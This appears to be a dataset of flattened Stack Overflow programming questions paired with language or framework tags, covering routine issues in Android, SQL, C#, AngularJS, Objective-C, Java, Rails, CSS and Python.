error -  gradle dsl method not found: compile()  while adding recyclerview  i want to use recyclerview in my app. i added  complie  com.android.support:recyclerview-v7:23.3.0   in app level build.gradle file. getting error - error:(26  0) gradle dsl method not found:  complie()  possible causes:<li>the project  rview  may be using a version of gradle that does not contain the method. open gradle wrapper file</li><li>the build file may be missing a gradle plugin. apply gradle plugin</li>    here my build.gradle file-   <pre><code>apply plugin:  com.android.application  android { compilesdkversion 23 buildtoolsversion  23.0.3   defaultconfig {     applicationid  com.sid.rview      minsdkversion 15     targetsdkversion 23     versioncode 1     versionname  1.0  } buildtypes {     release {         minifyenabled false         proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro      } } }  dependencies { compile filetree(dir:  libs   include: [ *.jar ]) testcompile  junit:junit:4.12  compile  com.android.support:appcompat-v7:23.3.0  complie  com.android.support:recyclerview-v7:23.3.0  } </code></pre>,android
sql: update table with alternative values from same table if values are missing  i have a table with data some thing like this:   <pre><code>------------------------------------------------------- member id | email_address | alternate_email_address  ------------------------------------------------------ 001       | ss@gmail.com  | ss@hotmail.com 001       |               | ss@hotmail.com 001       |               | ss@hotmail.com 002       | aa@gmail.com  | aa@gmail.com 002       |               | aa@gmail.com </code></pre>   i want to run a sql which will copy the email address for all where all alternate_email_address is same.     after running the sql i want the table something like this:   <pre><code>------------------------------------------------------- member id | email_address | alternate_email_address  ------------------------------------------------------ 001       | ss@gmail.com  | ss@hotmail.com 001       | ss@gmail.com  | ss@hotmail.com 001       | ss@gmail.com  | ss@hotmail.com 002       | aa@gmail.com  | aa@xyz.com 002       | ss@gmail.com  | aa@xyz.com  </code></pre>,sql
uilabel to display emoji emotions rather than their unicode values \uexxxx  i m retrieving values from a server in xml format  the server sends the following string:  this is a nice string with emoji \ue056\ue056\ue056\ue057\ue057\ue056\ue056     i have been struggling to make my uilabel display the emoji icons rather the following    \ue056\ue056\ue056\ue057\ue057\ue056\ue056    i have tried    <pre><code>[chattext settext:[chatstring stringbyreplacingoccurrencesofstring:@ \\\\u  withstring:@ \\u ]]; </code></pre>   not much luck. being desperate i have done the following:   <pre><code>[chattext settext:[[chatstring cstringusingencoding:nsnonlossyasciistringencoding] stringbyreplacingoccurrencesofstring:@ \\\\u  withstring:@ \\u ]]; </code></pre>   note: assigning the following string does the trick:   <pre><code>[chattext settext:@ \ue056\ue056\ue056\ue057\ue057\ue056\ue056 ]; </code></pre>,objective-c
c# idle game; adding money issue  i am currently working on a c# only (no unity) idle game (a.k.a clicker game) where the user collects money by clicking a button and leveling up a gold mine  here is the code;   <pre><code>namespace business_tycoon { public partial class form1 : form {            public decimal level;     public decimal money;     public decimal revenue;     public decimal multiplier;     public decimal price;     public form1()     {         initializecomponent();         start();     }     void start()     {         money = 10;               }      void update()     {         money = money + revenue;     }       void button1_click(object sender  eventargs e)     {         price = ((price/100) * 150m);         level = (level + 1);         multiplier = 1.10m;                         money = (money - price);         revenue = (level * multiplier);                      button1.text =  price:   + price;                           textbox1.text =  item bought ;         label4.text =  money:   + convert.tostring(money);         label1.text =  level:   + convert.tostring(level);         label3.text =  revenue:   + convert.tostring(revenue);     }       private void button2_click(object sender  eventargs e)     {         update();     } } </code></pre>   }   <ul> <li>button1 is the level button  the player clicks this  subtracting money  and it levels up the gold mine one level at a time.</li> <li>button2 is the collect button  the player clicks this which adds the revenue created from the gold mine.</li> </ul>   however  to collect from button2 the player must first click button1 to level it up and i do not know how to solve this. the player should just be able to click on the collect button and add whatever the revenue is of the gold mine.    please coud someone help  thank you - maximus,c#
sql selecting records with view  how to solve this     i have a tables <code>a b c</code> and view from c   <ul> <li>table a has a1 a2 a3 etc. </li> <li>table c has c1 c2 c3 etc.</li> </ul>   table b has    <pre><code>(a1 c1) (a1 c4) (a1 c3) (a2 c1) (a2 c3) (a2 c4) (a3 c1) (a3 c4) (a4 c1) (a4 c4) (a4 c3) (a4 c5) </code></pre>   examples:    i have view c with c1 c3 c4     result should be: a1  a2  a4    or:    view c: c1  c5    result should be: a4    i want all the elements (ax) from table b that have all the elements in the view c.,sql
error due to bootstrap installation in angularjs  i have following dependencies in my angularjs code.   <pre><code> angular :  1.5.10    angular-route :  1.5.10    angular-cookies :  1.5.10    angular-translate :  ^2.13.1    angular-translate-loader-static-files :  ^2.13.1    bootstrap :  ^3.3.7  </code></pre>   and below is the code in app.js   <pre><code>var myapp = angular.module( myapp   [ ngroute    ngcookies    pascalprecht.translate ]); </code></pre>   everything is working fine and it can be <a href= http://pankaj.in  rel= nofollow noreferrer >http://pankaj.in</a>    now  i am trying to add navbar and for that i am following this link: <a href= https://angular-ui.github.io/bootstrap/  rel= nofollow noreferrer >https://angular-ui.github.io/bootstrap/</a>    and after installing  the final dependency list is below.   <pre><code> angular :  1.5.10    angular-route :  1.5.10    angular-cookies :  1.5.10    angular-translate :  ^2.13.1    angular-translate-loader-static-files :  ^2.13.1    bootstrap :  ^3.3.7    angular-animate :  1.5.10    angular-touch :  1.5.10  </code></pre>   and below is the code in app.js   <pre><code>var myapp = angular.module( myapp   [ ngroute    ngcookies    pascalprecht.translate     nganimate    ngtouch    ui.bootstrap ]); </code></pre>   but due to some reasons  i am getting errors as listed here: <strong><a href= https://docs.angularjs.org/error/$injector/modulerr p0=myapp&amp;p1=error:%20%5b$injector:modulerr%5d%20http:%2f%2ferrors.angularjs.org%2f1.5.10%2f$injector%2fmodulerr%3fp0%3dui.bootstrap%26p1%3derror%253a%2520%255b%2524injector%253anomod%255d%2520http%253a%252f%252ferrors.angularjs.org%252f1.5.10%252f%2524injector%252fnomod%253fp0%253dui.bootstrap%250a%2520%2520%2520%2520at%2520http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a6%253a426%250a%2520%2520%2520%2520at%2520http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a25%253a235%250a%2520%2520%2520%2520at%2520b%2520(http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a24%253a282)%250a%2520%2520%2520%2520at%2520http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a25%253a20%250a%2520%2520%2520%2520at%2520http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a40%253a17%250a%2520%2520%2520%2520at%2520q%2520(http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a7%253a371)%250a%2520%2520%2520%2520at%2520g%2520(http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a39%253a382)%250a%2520%2520%2520%2520at%2520http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a40%253a34%250a%2520%2520%2520%2520at%2520q%2520(http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a7%253a371)%250a%2520%2520%2520%2520at%2520g%2520(http%253a%252f%252flocalhost%253a85%252fmyprojects%252fprojects%252flearning%252fapi%252fpublic%252fbower_components%252fangular%252fangular.min.js%253a39%253a382)%0a%20%20%20%20at%20http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:6:426%0a%20%20%20%20at%20http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:40:292%0a%20%20%20%20at%20q%20(http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:7:371)%0a%20%20%20%20at%20g%20(http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:39:382)%0a%20%20%20%20at%20http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:40:34%0a%20%20%20%20at%20q%20(http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:7:371)%0a%20%20%20%20at%20g%20(http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:39:382)%0a%20%20%20%20at%20fb%20(http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:43:381)%0a%20%20%20%20at%20c%20(http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:21:19)%0a%20%20%20%20at%20gc%20(http:%2f%2flocalhost:85%2fmyprojects%2fprojects%2flearning%2fapi%2fpublic%2fbower_components%2fangular%2fangular.min.js:21:332  rel= nofollow noreferrer >error details</a></strong>    am i missing something,angularjs
giving image to uibutton in program  i have a set of <code>uibutton</code>s and i gave them images manually. but i m using a segmented control. so that the images should change according to the selected segment index. i have only little knowledge in objective-c.     can anybody please help me,objective-c
how to declare a global variable an aspx website   how to declare a global variable or a public sub in a web application that all aspx pages can have access to,asp.net
how to do two uinavigationcontroller opertaion from the same method   often i find myself need to dismiss the current modal view controller and then immediately push another view controller (so imagine something sliding down and then sliding right). what is a clever way to do this      if you attempt to do these two operations all in one go  only the first one is carried out  the second one is ignored.   <pre><code>-(void)dismissthenpush{ [self.navigationcontroller dismissmodalviewcontrolleranimated:true]; //works [self.navigationcontroller pushviewcontroller:controller animated:true];    //ignored } </code></pre>   for the past 12 months  what i do is set some global flag  and have the original controller check for this flag in the viewdidappear method and then call a pushviewcontroller method. but i m tired of this hack  there must be a way to do this all in one go from the modal view controller.,iphone
how to insert xml element  serial number automatically  i used the following code to save data in xml    <pre><code>var path = path.combine(environment.getfolderpath(environment.specialfolder.mydocuments)   codedata.xml );             xmldocument doc = new xmldocument();             if (!system.io.file.exists(path))             {                                    xmldeclaration declaration = doc.createxmldeclaration( 1.0    utf-8    yes );                 xmlcomment comment = doc.createcomment( this is an xml generated file );                 doc.appendchild(declaration);                 doc.appendchild(comment);                 doc.appendchild(doc.createelement( root ));             }             else             {                 doc.load(path);             }             xmlelement root = doc.documentelement;             xmlelement subroot = doc.createelement( data );             xmlelement sno=doc.createelement( sno );             xmlelement companycode = doc.createelement( companycode );             xmlelement productcode = doc.createelement( productcode );             xmlelement productname = doc.createelement( productname );             xmlelement brandcode = doc.createelement( brandcode );             xmlelement brandname = doc.createelement( brandname );             sno.innertext = txt_sno.text;             companycode.innertext = txt_companycode.text;             productcode.innertext = txt_productcode.text;             productname.innertext = txt_productname.text;             brandcode.innertext = txt_brandcode.text;             brandname.innertext = txt_brandname.text;             subroot.appendchild(sno);             subroot.appendchild(companycode);             subroot.appendchild(productcode);             subroot.appendchild(productname);             subroot.appendchild(brandcode);             subroot.appendchild(brandname);             root.appendchild(subroot);             doc.appendchild(root);             doc.save(path);             messagebox.show( details  added successfully ); </code></pre>   here i entered serial number manualy  i need it automatically. when i click the button  sno will increase the its number. suggest me some idea.,c#
posting tweet is not working  i am creating an iphone sample there i have used twitter api for authenticating the user and storing the response user credentials in database.using the authtoken from the twitter response i want to autotweet time to time. i am successfull in autotweeting.but actually i created a on/off switch.if switch is on it tweets automatically time to time...i am able to auto tweet as an independent sample or call from some class but when i am trying to call from switch button values..it is not working.it is calling the api successfully but not postingsome one plz help.,objective-c
python: double factorial function doesn t work on even numbers  i have defined a function in python to calculate the <a href= http://en.wikipedia.org/wiki/double_factorial  rel= nofollow >double factorial</a> of <code>n</code> using a basic <code>for</code> loop:   <pre><code>def dfactorial(n):     sum = n     for i in range(n):         if (n - i) % 2 == 0:             sum *= i     return sum </code></pre>   when i enter the number <code>10</code>  it returns <code>0</code>. however  for all other values (that are not even) that i ve tested  it seems to work fine.    is there an error in my definition  it seems logical to me; for all values <code>{1..n}</code>  if it shares the same <a href= http://en.wikipedia.org/wiki/parity_(mathematics)  rel= nofollow >parity</a> as <code>n</code>  then apply the product.    i m using <code>python 2.7.5</code>  on <code>fedora 20</code>.,python
not able to reset  changed  flag - what am i doing wrong   i am trying to detect whether there have been changes in my application  and prompt the user to save if they leave before saving.  i am using angular s $watch function for this.  i am finding that when i reset the fields i m watching  even if i reset the changed flag  it doesn t work.  is it a race condition     here is the plunk - note that save works  but after pressing new  it still shows that there are unsaved changes.    <a href= http://plnkr.co/edit/0eqpcarjvj5o2cb8tena p=preview  rel= nofollow >http://plnkr.co/edit/0eqpcarjvj5o2cb8tena p=preview</a>    js:   <pre><code>var app = angular.module( plunker   []);  app.controller( mainctrl   function($scope) {   $scope.changed = false;    $scope.$watch( [thing]   function(newvalue  oldvalue) {     if (newvalue != oldvalue) {       $scope.changed = true;     }   }  true);    $scope.saveclicked = function() {     // save the data somewhere     $scope.changed = false;  // this works!   };    $scope.newclicked = function() {     $scope.thing = {};     $scope.changed = false;  // this doesn t work!   }; }); </code></pre>   html:   <pre><code>  &lt;body ng-controller= mainctrl &gt;     &lt;form id=f&gt;     &lt;input type=text name=t1 ng-model=thing.t1&gt;     &lt;input type=text name=t2 ng-model=thing.t2&gt;     &lt;button ng-click= saveclicked() &gt;save&lt;/button&gt;     &lt;button ng-click= newclicked() &gt;new&lt;/button&gt;     &lt;/form&gt;     &lt;br&gt;     &lt;span ng-show= changed &gt;you have unsaved changes!&lt;/span&gt;     &lt;span ng-show= !changed &gt;all changes have been saved.&lt;/span&gt;   &lt;/body&gt; </code></pre>,angularjs
how to pass a value from usercontroller(ascx) to aspx file in asp.net  in my aspx page i am calling the below user control   <pre><code>&lt;ajax:accordion id= accordion2  runat= server  selectedindex= 0  headercssclass= accordionheader              headerselectedcssclass= accordionheaderselected  contentcssclass= accordioncontent              autosize= none  fadetransitions= true  transitionduration= 250  framespersecond= 40              requireopenedpane= false  suppressheaderpostbacks= true &gt;             &lt;panes&gt;                 &lt;ajax:accordionpane id= accordionpane3  runat= server &gt;                     &lt;header&gt;                         &lt;uc4:accordionpaneheadercontrol id= accordionpaneheadercontrol1  runat= server  title= documents  /&gt;                     &lt;/header&gt;                     &lt;content&gt;                         &lt;uc3:documentlistcontrol id= listcontrol1   runat= server  userid= 10 /&gt;                     &lt;/content&gt;                 &lt;/ajax:accordionpane&gt;             &lt;/panes&gt;         &lt;/ajax:accordion&gt; </code></pre>   and from one of the other user controller (ascx)  i want to pass a value for <strong>userid</strong> as a parameter to this page and reload this controller.    how do i achieve the above,asp.net
why do i need  height: auto  for responsive images   is it necessary to define the <code>height: auto</code> now days  and what the reasons is    <pre><code>img {     max-width: 100%;     height: auto; } </code></pre>   thanks.,css
can i set a char or datetime to null   can i set null into <code>char</code> data type  and also <code>datetime</code> in c#  thanks guys!,c#
read from string (possible array usage ) c++  i m attempting to write alil function here which basically reads from a string. it reads every three characters and evaluates it using the pre-condition (if statement). if conditions are met  it would replace those three letters with new three letters. then it would output the new string.    i tried writing the code but cant seem to get the logic right. the program runs but it doesn t print out anything. dont mind the function name and the inaccuracy. i m just doing a sample function to test this out.   <pre><code>string amino_acids(string line) {     string acid;     string acids;     string newline;     for( int i= 0; i &lt; line.length(); i++)     {         acid = line[i];     }     for (int i = 0; i &lt; 3; i++)     {         acids = acid[i];         if(acids ==  guu )         {             acids =  zap ;           }         newline = acids;     }     cout &lt;&lt;  acids:   &lt;&lt;newline &lt;&lt;endl;     return newline; } </code></pre>,c++
how to get items from feed in iphone   iam developing rss reader  i need to get the items from the given feed url.i used touch xml for this  but this is very slow.is there any faster way  thanks.,iphone
how are these two queries different   i am working on my assignment which uses this schema (simplified) :   <pre><code>parts(pid color) catalog(seller_name pid) </code></pre>   i have to write two queries :   <pre><code>&gt; find the seller that sell every red part or every green part  </code></pre>   so  from  my understanding   i have to find sellers that sell every red part  then sellers that sell every green part and do the union.    another query is :   <pre><code>&gt; find the seller that sell every red or green part  </code></pre>   how is this query different from the query above,sql
understanding bitwise evaluation of a bitmask in objective-c  i m trying to really wrap my head around this line of code:   <pre><code>[cardbutton settitle:card.contents             forstate:uicontrolstateselected|uicontrolstatedisabled]; </code></pre>   what s tripping me up is the bitwise |. how is it different from a normal || or or     why use bitwise | vs. a logical ||     (for reference  forstate:uicontrolstateselected = 1 &lt;&lt; 1; uicontrolstatedisabled 1 &lt;&lt; 2),objective-c
running multiple replaceall statements in java  this is probably a stupidly easy question but it s been a long day.  i m trying to remove the comments from a java program. to do this i m trying to use replaceall  but i m not sure how to run all 3 of the statements on the file at the same time. is there a way besides regex that i should be using here  or is there an easy fix  here is my code:   <pre><code>import java.io.*; import java.util.*;  public class ex13ch6 {     public static void main(string args[]) throws filenotfoundexception {         file file = new file( killcomment.txt );         scanner s = new scanner(file);          stripcomments(s);     }     public static void stripcomments(scanner s) {           while(s.hasnext()) {          string input = s.nextline();          string regex =  /* ;          // removes /* from the file         string change = input.replaceall( /\\*     );         // removes */ from the file         string change2 = input.replaceall( \\*/     );         // removes // from the file         string change3 = input.replaceall( //     );          system.out.println(change2);         }     } } </code></pre>   here is the text file:   <pre><code>// name: conner murowchick // email: conner.murowchick@bellevuecollege.edu // program description: /* write a method called fliplines that accepts a scanner for an input  file and writes to the console the same file s contents with each pair of lines reversed in order. if the file contains an odd number of lines  leave the last line unmodified.  */   // importing file and scanner import java.io.*; import java.util.*; import java.io.filenotfoundexception; public class ex7ch6 {  public static void main(string[] args) throws filenotfoundexception{ // calling the fliplines method     fliplines(); } public static void fliplines() throws filenotfoundexception { // calls a new file   jabberwocky.txt      file file = new file( jabberwocky.txt ); // scans the file  jabberwocky.txt  and creates a scanner s to read it.      scanner s  =  new scanner(file); // creates a new variable  nooflines  that is an integer equal to 0     int nooflines = 0; // a while loop that checks if there is another line to scan.      while(s.hasnextline()) { // if there is another line to scan  the scanner goes to the next line         s.nextline(); // the variable nooflines increments while this loop runs.         nooflines++;     } // creates a new scanner called s2 that reads the file  jabberwocky.txt          scanner s2 = new scanner(file); // a for loop that runs when i is less than half of the variable nooflines         for (int i=0; i &lt; (nooflines / 2); i++) { // string called line1 that equals scanner s2 reading the next line of text             string line1 = s2.nextline(); // string called line2 that equals scanner s2 reading the next line of text             string line2 = s2.nextline(); // prints the second line first             system.out.println(line2); // prints the first line second             system.out.println(line1);         }     } } </code></pre>,java
ruby: using a regular expression to find and open a file based on its filename   i am trying to test the contents of a file that is generated from code. the problem is that the full name of the file is based on a timestamp <code>abc123_#{d.strftime( %y%m%d%i%m%s )}.log</code>    how could i use <code>file</code> to find this file and read it  i tried doing <code>file.exists ()</code> with a regular expression as the parameter but that didn t work.     i found this in another question on stackoverflow:    <code>file.basename(file_path).match(/_.*(css|scss|sass)/)</code>    how would i be able to use that in my case where the file is located in my<code>public</code> folder     <strong>answer</strong>    so the two answers below both work and i used a combination of them.    <code>dir[ public/*.log ].select { |f| f =~ /purge_cc_website/}</code>    the <code>*</code> acts as a wildcard that is sort of a regular expression in itself. after that you filter the array using an actual regex.,ruby-on-rails
what is a freestanding colon in c++  the canonical qt example is:   <pre><code>class counter : public qobject {     q_object     int m_value; public:     int value() const { return m_value; } public slots:     void setvalue(int value); signals:     void valuechanged(int newvalue); }; </code></pre>   qt defines the macro:   <pre><code>#define slots /* nothing */ </code></pre>   after the preprocessor runs  we d be left with:   <pre><code>public slots:   void setvalue(int value); :   void valuechanged(int newvalue); }; </code></pre>   what what be the effect of the freestanding colon   can i add a colon anywhere i want    <pre><code>int main() { : std::cout &lt;&lt;  hi ; : return 0; } </code></pre>   what does a freestanding colon do in c++  and why is it allowed,c++
how to set the row number of row for checkboxlist in asp.net   i have one checkboxlist with repeat columns=3. if the item count for the datasource of it is less than 20 i need to generate 20 rows with single column.if it is between 21 and 40 then 20 rows and two columns.if it is between 41 to 60 then 20 rows and 3 columns and for more than 60 records then as normal that checkboxlist behave.   any suggestion is appreciated.    thanks mohak,asp.net
"z-index issue with overlay  i am trying to add overlay but it is not working as expected.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.overlay {
   position: absolute;
   background-color: rgba(0  0  0  0.6);
   z-index: -1;
   width: 100%;
   height: 100%;
 }
 .center-div {
   position: absolute;
   top: 50%;
   left: 50%;
   transform: translate(-50%  -50%);
   z-index: 9999;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= center-div &gt;
   &lt;p&gt;
     lorem ipsum is simply dummy text of the printing and typesetting industry. lorem ipsum has been the industry s standard dummy text ever since the 1500s  when an unknown printer took a galley of type and scrambled it to make a type specimen book.
   &lt;/p&gt;
 &lt;/div&gt;
 &lt;div class= overlay &gt;
 
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     i need the div with class center-div to be above div with class overlay..    what s wrong with this",css
rails how to index with in_groups_of  i am displaying pictures in a view using in_groups_of to create rows of 3.  however  i need to do something different to the first item of the first row.  how can i target this item    <pre><code>&lt;% images.in_groups_of(3) do |row| %&gt;   &lt;div class= row &gt;     &lt;% row.each_with_index do |image  index| %&gt;       &lt;div class= item-wrapper &gt;         &lt;% if image %&gt;           &lt;a class= flex-item  &lt;img class= photo  src= &lt;%= image.picture.medium.url %&gt;  alt=   /&gt;&lt;/a&gt;         &lt;% end %&gt;       &lt;/div&gt;     &lt;% end %&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>   i want to add this code below every anchor tag except the very first photo in the very first row.   <pre><code>&lt;% if user.eql (current_user) %&gt;   &lt;button class= btn btn-xs btn-danger delete-image  data-id= &lt;%= image.id %&gt; &gt;     &lt;i class= fa fa-trash-o fa-lg &gt;&lt;/i&gt;   &lt;/button&gt;             &lt;% end %&gt; </code></pre>,ruby-on-rails
do i need to use a scope.$apply inside a directive when setting the model value   this is related to a <a href= https://stackoverflow.com/questions/20949645/inside-my-directive-a-scope-applyfunction-getting-called-in-angular-1-2-2-b >question i asked earlier</a>.   <pre><code>link: function (scope  element  attrs  ngmodel) {              $wmdinput.on( keyup   _.debounce(function () {                 rawcontent = $wmdinput.val();          // line 1                 scope.$apply(function () {                                  ngmodel.$setviewvalue(rawcontent); // line 2                 });             }  500)); </code></pre>   inside the link portion of a directive. is it necessary to set the model value inside a    <pre><code>scope.$apply( function () </code></pre>,angularjs
how to hide the page on load indicating in asp.net  i am using asp.net 2.0 and ajax extension tool.     i already created loading indicator on button submit.  when i will click the button  the loading indicator will show after redirecting to the next page.  but  i want to hide the page until processing has completed (after that redirect to next page).    i am using the following code:   <pre><code> &lt;td style= width: 100px; height: 26px; &gt;                   &lt;asp:scriptmanager id= scriptmanager1  runat= server &gt;                 &lt;/asp:scriptmanager&gt;                  &lt;asp:updateprogress id= updateprogress1  dynamiclayout= false  runat= server &gt;     &lt;progresstemplate&gt;     &lt;img src= images/loading.gif  alt= images/loading.gif  style= z-index: 100; left: 21px; position: absolute; top: 64px  /&gt;      &lt;/progresstemplate&gt;     &lt;/asp:updateprogress&gt;                  &lt;asp:updatepanel id= updatepanel1  runat= server &gt;                     &lt;contenttemplate&gt;                     &lt;dx:aspxbutton id= btnok  clientinstancename= btnok  runat= server  style= z-index: 100; left: 90px; position: absolute;                     top: 108px  text= ok  width= 61px  backcolor= gainsboro  onclick= btnok_click  autopostback= false  &gt;                     &lt;disabledstyle&gt;                         &lt;border bordercolor= teal  /&gt;                     &lt;/disabledstyle&gt;                         &lt;clientsideevents click= function(s  e) {                     showloadingimage();                         }  /&gt;                   &lt;/dx:aspxbutton&gt;                &lt;/contenttemplate&gt;             &lt;/asp:updatepanel&gt;   </code></pre>,asp.net
sql year date query  i am working on a sql server and i have a list of dates in the format of  2015-03-17 how would i query the database so that only events that occurred in 2015 show up,sql
how to check element have or not have before declare var using javascript   how to check element have or not have before declare var using javascript      on bottom code  not have <code>checkbox id= w </code> but how to check elements before declare var      if have <code>checkbox id= w </code>   we will declare <code>var w_val = document.getelementbyid( w ).checked</code>    but not have <code>checkbox id= w </code>  not to declare <code>var w_val = document.getelementbyid( w ).checked</code>   <pre><code>&lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js &gt;&lt;/script&gt; &lt;script language= javascript  type= text/javascript &gt; &lt;!-- function test() {  var w_val = document.getelementbyid( w ).checked var x_val = document.getelementbyid( x ).checked var y_val = document.getelementbyid( y ).checked var z_val = document.getelementbyid( z ).checked  alert(w_val); alert(x_val); alert(y_val); alert(z_val);  } &lt;/script&gt;  &lt;form&gt; &lt;input type= checkbox  id= x  value= 1 /&gt; &lt;input type= checkbox  id= y  value= 2 /&gt; &lt;input type= checkbox  id= z  value= 3 /&gt; &lt;button onclick= test() &gt;ok&lt;/button&gt; &lt;/form&gt; </code></pre>,javascript
moving functionality to a class library project - what to do with the related resources   i have a .net project whose part of the functionality is xls transformation.    i now want to move that functionality away from the main project to a separate class library project.    i have no problems moving classes and accessing them  but part of the resources that i wanted to move were xslt files that define the transformations. those files were originally located in the special asp.net folder: <code>app_data</code> and then accessed using <code>server.mappath(~/app_data/xslt/anxsltfile.xslt)</code>    i wanted to move those files to that separate library as well  but not sure how to approach it  and how to access those files within the class library.,asp.net
why cant i see the decimal point numbers in c#  <pre><code>int total = 201;  double average = total / 7;  result should be 28.71428571428571. </code></pre>   i ve tried float  decimal and double for average but the result ends up as 28.,c#
how to track everything that happens to an object   i have come across a bug when a value in a collection (<code>arraylist</code>) is replaced by an unknown piece of code (the <code>arraylist</code> instance remains the same) with <code>null</code>. after a few events the real value is then set back into the collection at the same index (<code>0</code> and the id of the value instance is the same). there are several custom frameworks at play that may have accessed the collection through reflection and i cannot find the culprit.    i have tried debugging with proxies and unmodifiable lists but to no avail. the problem  i think  is that the <code>arraylist</code> instance is created by one of the frameworks that may keep references to the list.    it occurred to me that it would be mighty nice to have a log of everything that happened to the collection and the value. and i don t just mean changes of the state but also becoming referenced from wherever. is there a way to view a life story of an object,java
how to display data in bar chart as per the below image  <a href= https://i.stack.imgur.com/urrub.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/urrub.jpg  alt= enter image description here ></a>    how to display like the above image on the day by day and hours  basis on bar charts,asp.net
rails: steps to take before deploying rails app (e.g. changing database to postgres  etc)   hi i am about to deploy a rails app (onto heroku) i made and wanted to know what the procedure is. i know you have to change the database by changing <code>gem  sqlite3 </code> to <code>gem  pg </code> but after i did that and went on my localhost:3000 it gives me the error:    <code>activerecord::connectionnotestablished</code>    what else am i missing,ruby-on-rails
object to object mapping in .net 2.0  i wonder if anyone can recommend an alternative to automapper that will work in .net2.0.    i have a dll which describes a reasonably complex structure. the dll sits at both ends of webservice however when the data is retrieved through the webservice  the namespaces prevent direct mapping of the object so i am having to resort to coding a mapping class.    i incorporated automapper and it does exactly as i want but it won t work with .net2.0. i need to use .net2.0 as there are several hundred remote machines which will run the client software and they are limited to .net2.0.    any help would be appreciated.,.net
condition failed in the function  i would like to create a function that take a list and sum all number in the list. for instance  in the list <code>[ a   1.50  2  u week   250  12]</code>  the function will return the output <code>255.50</code> (1.50 + 2 +250 +12).   <pre><code>def sum(list):    sum = 0    for item in list:       if type(item) ==  a number           sum += item    return sum </code></pre>   by what could i replace the line <code>if type(item) ==  a number </code>,python
can i use any android phone for application development   can i use any android phone for app development  here in the philippines  there are many available mobile phones with android installed. but i want to buy the cheapest phone available (which i think is samsung i5500 galaxy 5). thanks in advance!,android
iphone clang error  i am trying to send and receive message using xmpp framework. i used xmppstream class for sending and receiving message. my code to receive message is    <pre><code>- (void)xmppstream:(xmppstream *)sender didreceivemessage:(xmppmessage *)message {      nsstring *msg = [[message elementforname:@ body ] stringvalue];     nsstring *from = [[message attributeforname:@ from ] stringvalue];     nsmutabledictionary *m = [[nsmutabledictionary alloc] init];     [m setobject:msg forkey:@ msg ];     [m setobject:from forkey:@ sender ];     [_messagedelegate newmessagereceived:m];      [m release];  } </code></pre>   when i build i get a linker error    <pre><code>undefined symbols for architecture i386:    _objc_class_$_xmppstream   referenced from:       objc-class-ref in appdelegate.o    _objc_class_$_xmpppresence   referenced from:       objc-class-ref in appdelegate.o ld: symbol(s) not found for architecture i386 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>   please guide me to solve this issue.    thanks in advance.,iphone
how to escape string data in sql  this is what i have   <pre><code>string labeltext= semilabel.gettext(); //the value in the label is  year 1 sem i ; connection conn=dbc.connect() ; </code></pre>   this is what i have   <pre><code>string labeltext= semilabel.gettext(); //the value in the label is  year 1 sem i ; connection conn=dbc.connect() ; resultset rs =conn.createstatement().excutequery( select schoolofmusic  semester from units  registeredunitstable where semester =   +labeltext)  </code></pre>   the problem is am getting an syntax error near <code> 1 sem i </code> at line one.    how can i escape it in sql to get <code> year 1 sem i </code> and not <code> 1 sem i </code>  am comparing my data received with the one the database column semester.,sql
should i write else in case when return inside if  please consider two approaches:   <pre><code>def test(a):     if a == true:         return     else:         print( no )  def test(a):     if a == true:         return     print( no ) </code></pre>   what is better way in python  i ve heard that explicit is better then implicit  so should i use first one,python
